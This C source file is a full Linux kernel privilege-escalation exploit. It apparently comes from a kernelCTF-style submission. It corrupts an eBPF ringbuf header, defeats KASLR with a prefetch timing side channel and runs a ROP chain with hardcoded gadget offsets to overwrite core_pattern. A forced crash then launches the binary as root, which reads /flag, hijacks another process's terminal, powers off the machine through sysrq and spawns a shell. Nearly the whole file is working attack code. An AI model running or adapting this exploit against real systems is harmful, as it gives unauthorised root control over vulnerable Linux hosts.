#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/wait.h>
#include <linux/bpf.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <syscall.h>
#include <err.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <assert.h>
#include <sys/sendfile.h>

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef char i8;
typedef short i16;
typedef int i32;
typedef long long i64;
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))


#ifndef __NR_BPF
#define __NR_BPF 321
#endif
#define ptr_to_u64(ptr) ((__u64)(unsigned long)(ptr))
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif
#define SYSCHK(x)                     \
	({                                \
		typeof(x) __res = (x);        \
		if (__res == (typeof(x))-1)   \
			err(1, "SYSCHK(" #x ")"); \
		__res;                        \
	})

#define PAUSE           \
	{                   \
		printf(":");    \
		int x;          \
		read(0, &x, 1); \
	}

#define BPF_F_MMAPABLE 1024
#define BPF_FUNC_ringbuf_query 134
#define BPF_FUNC_ringbuf_reserve 131
#define BPF_MAP_TYPE_RINGBUF 27
#define BPF_FUNC_ringbuf_discard 133
#define BPF_FUNC_ringbuf_output 130

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
	((struct bpf_insn){.code = CODE,           \
					   .dst_reg = DST,         \
					   .src_reg = SRC,         \
					   .off = OFF,             \
					   .imm = IMM})

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)                   \
	((struct bpf_insn){.code = BPF_LD | BPF_DW | BPF_IMM, \
					   .dst_reg = DST,                    \
					   .src_reg = SRC,                    \
					   .off = 0,                          \
					   .imm = (__u32)(IMM)}),             \
		((struct bpf_insn){.code = 0,                     \
						   .dst_reg = 0,                  \
						   .src_reg = 0,                  \
						   .off = 0,                      \
						   .imm = ((__u64)(IMM)) >> 32})

#define BPF_MOV64_IMM(DST, IMM) \
	BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM)

#define BPF_MOV_REG(DST, SRC) \
	BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_X, DST, SRC, 0, 0)

#define BPF_MOV64_REG(DST, SRC) \
	BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0)

#define BPF_MOV_IMM(DST, IMM) \
	BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_K, DST, 0, 0, IMM)

#define BPF_RSH_REG(DST, SRC) \
	BPF_RAW_INSN(BPF_ALU64 | BPF_RSH | BPF_X, DST, SRC, 0, 0)

#define BPF_LSH_IMM(DST, IMM) \
	BPF_RAW_INSN(BPF_ALU64 | BPF_LSH | BPF_K, DST, 0, 0, IMM)

#define BPF_ALU64_IMM(OP, DST, IMM) \
	BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)

#define BPF_ALU64_REG(OP, DST, SRC) \
	BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_X, DST, SRC, 0, 0)

#define BPF_ALU_IMM(OP, DST, IMM) \
	BPF_RAW_INSN(BPF_ALU | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)

#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
	BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)

#define BPF_JMP_REG(OP, DST, SRC, OFF) \
	BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)

#define BPF_JMP32_REG(OP, DST, SRC, OFF) \
	BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)

#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
	BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)

#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0)

#define BPF_LD_MAP_FD(DST, MAP_FD) \
	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
	BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM)

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
	BPF_RAW_INSN(BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
	BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)

#define BPF_LD_ABS(SIZE, IMM)                                     \
	((struct bpf_insn){.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
					   .dst_reg = 0,                              \
					   .src_reg = 0,                              \
					   .off = 0,                                  \
					   .imm = IMM})

#define BPF_MAP_GET(idx, dst)                                   \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),                        \
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                   \
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),                  \
		BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),                 \
		BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0,               \
					 BPF_FUNC_map_lookup_elem),                 \
		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), \
		BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0),                 \
		BPF_MOV64_IMM(BPF_REG_0, 0)

#define BPF_MAP_GET_ADDR(idx, dst)                              \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),                        \
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                   \
		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),                  \
		BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),                 \
		BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0,               \
					 BPF_FUNC_map_lookup_elem),                 \
		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), \
		BPF_MOV64_REG((dst), BPF_REG_0), BPF_MOV64_IMM(BPF_REG_0, 0)

#define INST(x) (sizeof(x) / sizeof(struct bpf_insn))

char buf[0x1000];
char log[0x1000];
struct bpf_insn prog[] = {

	BPF_LD_MAP_FD(BPF_REG_1, 0x100),
	BPF_MOV64_IMM(BPF_REG_2, 0x3000),
	BPF_MOV64_IMM(BPF_REG_3, 0x0),

	/* allocate first chunk with 0x3000 size */
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
	BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0x0, 1),
	BPF_EXIT_INSN(),

	BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),

	BPF_LD_MAP_FD(BPF_REG_1, 0x100),
	BPF_MOV64_IMM(BPF_REG_2, 0x3000),
	BPF_MOV64_IMM(BPF_REG_3, 0x0),
	/* allocate second chunk with 0x3000 size */
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
	BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0x0, 5),

	/* failed path */
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
	BPF_MOV64_IMM(BPF_REG_2, 2),
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
	BPF_MOV64_IMM(BPF_REG_0, 0),
	BPF_EXIT_INSN(),

	BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
	BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),

	/* point second chunk to first chunk's ringbuf header */
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xff0),

	/* change pg_off to 2, so bpf_ringbuf will point
 		to user controlled content at bpf_ringbuf_commit */
	BPF_ST_MEM(BPF_W, BPF_REG_6, 4, 2),

	/* discard all ringbuf to make verifier pass and to trigger RIP control */
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
	BPF_MOV64_IMM(BPF_REG_2, 2), // BPF_RB_FORCE_WAKEUP
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),

	BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
	BPF_MOV64_IMM(BPF_REG_2, 2), // BPF_RB_FORCE_WAKEUP
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),

	BPF_MOV64_IMM(BPF_REG_0, 0),
	BPF_EXIT_INSN(),
};

int bpf(int cmd, void *attr, size_t n)
{
	return syscall(SYS_bpf,cmd,attr,n);
}

int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size,
				   unsigned int value_size, unsigned int max_entries,
				   unsigned int map_fd)
{
	union bpf_attr attr = {.map_type = map_type,
						   .key_size = key_size,
						   .value_size = value_size,
						   .max_entries = max_entries,
						   .inner_map_fd = map_fd};

	return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}


int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn *insns,
				  int insn_cnt, const char *license)
{
	union bpf_attr attr = {
		.prog_type = type,
		.insns = ptr_to_u64(insns),
		.insn_cnt = insn_cnt,
		.license = ptr_to_u64(license),
		.log_buf = log,
		.log_size = 0x1000,
		.log_level = 1,
	};

	return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}


int load_prog()
{
	char license[] = "GPL";
	return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog,
						 sizeof(prog) / sizeof(struct bpf_insn), license);
}

void set_cpu(int i)
{
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(i, &mask);
	sched_setaffinity(0, sizeof(mask), &mask);
}

int check_core()
{
	// Check if /proc/sys/kernel/core_pattern has been overwritten
	char buf[0x100] = {};
	int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
	read(core, buf, sizeof(buf));
	close(core);
	return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
	int memfd = memfd_create("", 0);
	// send our binary to memfd for core_pattern payload
	SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
	// our binary now at file descriptor 666
	dup2(memfd, 666);
	close(memfd);
	while (check_core() == 0)
		sleep(1);
	puts("Root shell !!");
	/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
	*(size_t *)0 = 0;
}
int bypass_kaslr(u64 base);
int main(int argc, char **argv)
{
	
	printf("Hello World!\n");
	set_cpu(0);
	size_t stext = bypass_kaslr(0);

	setvbuf(stdout, 0, 2, 0);
	char *core =
		(void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE,
					 MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);
	// setup core_pattern payload that will execute /proc/pid/fd/666
	// which we already prepare before
	strcpy(core,
		   "|/proc/%P/fd/666 %P"); // put payload string into 0xa00000 which will used by ROP gadget
	if (argc > 1)
	{
		// #define SYS_pidfd_getfd 438
		int pid = strtoull(argv[1], 0, 10);
		int pfd = syscall(SYS_pidfd_open, pid, 0);
		int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
		int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
		int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
		dup2(stdinfd, 0);
		dup2(stdoutfd, 1);
		dup2(stderrfd, 2);
		/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
		system("cat /flag;echo o>/proc/sysrq-trigger");
		execlp("bash", "bash", NULL);
	}
	if (fork() == 0) // this process is used to trigger core_pattern exploit
	{
		set_cpu(1);
		setsid();
		crash("");
	}
	set_cpu(0);
	int ringbuf = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, 0x4000, 0);
	/* dup ringbuf at 0x100, easily known by bpf program */
	SYSCHK(dup2(ringbuf, 0x100));

	/* mmap ringbuf consumer_pos data */
	size_t *addr = SYSCHK(mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ringbuf, 0));
	
	size_t core_pattern = 0x279e7e0;
	size_t _copy_from_user = 0x77f7f0;
	size_t msleep = 0x16d330;
	set_cpu(1);
	addr[0] = 0x3000; // modify consumer_pos to 0x3000

	//work.func is started at offset 0x28:
 	//gef➤  p &((struct bpf_ringbuf*)0)->work.func
	//$2 = (void (**)(struct irq_work *)) 0x28 <fixed_percpu_data+40>

	//0x177a30 : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
	addr[0x28 / 8] = stext + 0x177a30; // craft work.func
	//0x000000000002bb97 : pop r8 ; pop rdi ; pop rsi ; pop rdx ; pop rcx ; ret
	addr[0x38 / 8] = stext + 0x000000000002bb97;
	size_t* rop = &addr[0x68 / 8];

	
	//0x0000000000005f3a : pop rdi ; ret
	*(rop++) = stext + 0x0000000000005f3a;
	*(rop++) = stext + core_pattern;
	//0x0000000000006277 : pop rsi ; ret
	*(rop++) = stext + 0x0000000000006277;
	*(rop++) = 0xa00000; // core_pattern payload at user addr
	//0x0000000000028245 : pop rdx ; ret
	*(rop++) = stext + 0x0000000000028245;
	*(rop++) = 0x20;
	// _copy_from_user(core_pattern, 0xa00000, 0x20)
	*(rop++) = stext + _copy_from_user;

	//0x0000000000005f3a : pop rdi ; ret
	*(rop++) = stext + 0x0000000000005f3a;
	*(rop++) = 0x10000000;
	// do msleep(0x10000000) instead of return to user
	// let another CPU gives us root shell
	*(rop++) = stext + msleep;

	/* load our bpf prog exploit */ 
	int progfd = load_prog();

	int sockets[2];
	/* create dummy sockets and attaching our bpf program */
	socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);
	setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd,
			   sizeof(progfd));
	/* trigger execution of our bpf exploit */
	write(sockets[0],buf,1);

}

inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}


void prefetch(void* p)
{
  asm volatile (
    "prefetchnta (%0)\n"
    "prefetcht2 (%0)\n"
    : : "r" (p));
}

size_t flushandreload(void* addr) // row miss
{
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}


int bypass_kaslr(u64 base) {
    if (!base) {
      #ifdef KASLR_BYPASS_INTEL
        #define OFFSET 0
        #define START (0xffffffff81000000ull + OFFSET)
        #define END   (0xffffffffD0000000ull + OFFSET)
        #define STEP   0x0000000001000000ull
        while (1) {
            u64 bases[7] = {0};
            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    u64 addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                size_t minv = ~0;
                size_t mini = -1;
                for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
                    if (times[ti] < minv) {
                        mini = ti;
                        minv = times[ti];
                    }
                }

                if (mini < 0) {
                    return -1;
                }

                bases[vote] = addrs[mini];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > ARRAY_LEN(bases) / 2) {
              base -= OFFSET;
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);

        }
      #else
        #define START (0xffffffff81000000ull)
        #define END (0xffffffffc0000000ull)
        #define STEP 0x0000000000200000ull
        #define NUM_TRIALS 9
        // largest contiguous mapped area at the beginning of _stext
        #define WINDOW_SIZE 11

        while (1) {
            u64 bases[NUM_TRIALS] = {0};

            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    u64 addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                uint64_t max = 0;
                int max_i = 0;
                for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
                    uint64_t sum = 0;
                    for (int i = 0; i < WINDOW_SIZE; i++) {
                        sum += times[ti + i];
                    }
                    if (sum > max) {
                        max = sum;
                        max_i = ti;
                    }
                }

                bases[vote] = addrs[max_i];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > ARRAY_LEN(bases) / 2) {
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);
        }
      #endif
    }

got_base:
#ifdef KASLR_BYPASS_INTEL
	base -= 0x1000000;
#endif

    printf("using kernel base %llx\n", base);


    return base;
}
